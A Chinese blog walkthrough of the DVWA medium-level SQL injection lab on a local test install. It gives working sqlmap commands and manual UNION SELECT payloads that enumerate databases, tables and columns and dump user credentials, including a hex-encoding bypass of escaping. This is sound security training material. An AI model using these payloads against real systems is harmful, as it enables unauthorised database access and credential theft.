[网络安全]DVWA之SQL注入—medium level解题详析

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。

提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。


判断漏洞类型

判断是否为数字型注入


使用hackbar进行POST:id=1 and 1=1 &submit=submit 回显如下:

image.png

再POST:id=1 and 1=2 &submit=submit 无任何回显

说明该漏洞类型为数字型注入漏洞


使用BurpSuite进行POST

先抓ID=1的数据包

image.png

在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:

image.png

再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显

说明该漏洞类型为数字型注入漏洞


判断注入点个数

提交参数id=1 and order by 4

image.png

说明注入点少于4个

不断尝试后得知注入点为2个


BurpSuite+sqlmap数字型注入

具体方式可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap

将拦截包另存为1.txt,放在sqlmap目录下

注意:在sqlmap中不需要考虑注入点的个数


爆数据库名

输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs

回显如下:

image.png

image.png

爆dvwa库的表名

输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables

回显如下:

image.png

image.png

爆users表的列名

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columnsimage.png

回显如下:

image.png


爆列中的字段

输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dumpimage.png

回显如下:

image.png


基于POST请求的sqlmap数字型注入

查看是否存在注入点

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

回显如下:image.png

故注入点存在


查询数据库名

image.png

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

回显如下:

image.png


查询dvwa库的表名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tablesimage.png

回显如下:


image.png

查询users表的列名

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columnsimage.png

回显如下:

image.png


查询列中的字段

输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dumpimage.png

回显如下:

image.png


基于POST请求的BrupSuite数字型注入

注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数


查询数据库名

输入1 union select database()#

回显如下:image.png

可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败

输入1 union select 1,database()#

回显如下:

image.png


查询dvwa库的表名

输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#

回显如下:

image.png


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法

查看源代码:

image.png

这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。

例如,如果 $id 变量包含如下字符串:

O'qiushuo

则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:

O\'qiushuo

这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。


针对特殊字符转义的编码绕过

在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。

攻击者可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。


十六进制编码

dvwa经十六进制编码后变为64767761

修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

注意:要在64767761加上0x声明它为十六进制

image.png

得到两个表名,guestbook和users


Unicode编码

dvwa的Unicode编码为\u0064\u0076\u0077\u0061

由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效


URL编码

网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。

image.png

由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。


查询users表的列名

users的十六进制为7573657273

输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#

回显如下:

image.png


查询列中的字段

输入id=1 union select user,password from users#

注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。

回显如下:

image.png


回显技巧

注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。

image.png

image.png

3. group_concat函数


group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。

举例如下:

输入id=1 union select 1,group_concat(user,password)from users#

回显:

image.png

该图比上图更为简洁明了


总结

以上为DVWA之SQL注入—medium level解题详析,结合三种注入姿势分享SQL攻击知识。

后续会分享DVWA之SQL注入—High level攻击姿势及解题详析。

我是秋说,我们下次见。


相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
SQL Oracle 关系型数据库
SQL查询结果导出方法详析及实践指南
导出SQL查询结果是数据库管理中的一个重要环节。不同的数据库系统提供了各自的工具和方法来完成这项任务。选择合适的方法取决于具体的应用场景、数据规模和个人偏好。无论是在命令行中使用简单的SQL语句,还是通过GUI工具或编程语言实现自动化脚本,都有助于提高工作效率,简化数据管理流程。
|
4月前
|
SQL 编译器 网络安全
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
【网络安全 | SQL注入】一文讲清预编译防御SQL注入原理
200 0
|
4月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
67 0
|
4月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
62 0
|
4月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
46 0
|
4月前
|
网络安全
[网络安全]sqli-labs Less-25 解题详析
[网络安全]sqli-labs Less-25 解题详析
44 0
|
4月前
|
SQL 网络安全 数据安全/隐私保护
[网络安全]sqli-labs Less-24 解题详析
[网络安全]sqli-labs Less-24 解题详析
49 0
|
2月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
55 13
|
2月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
2月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
44 6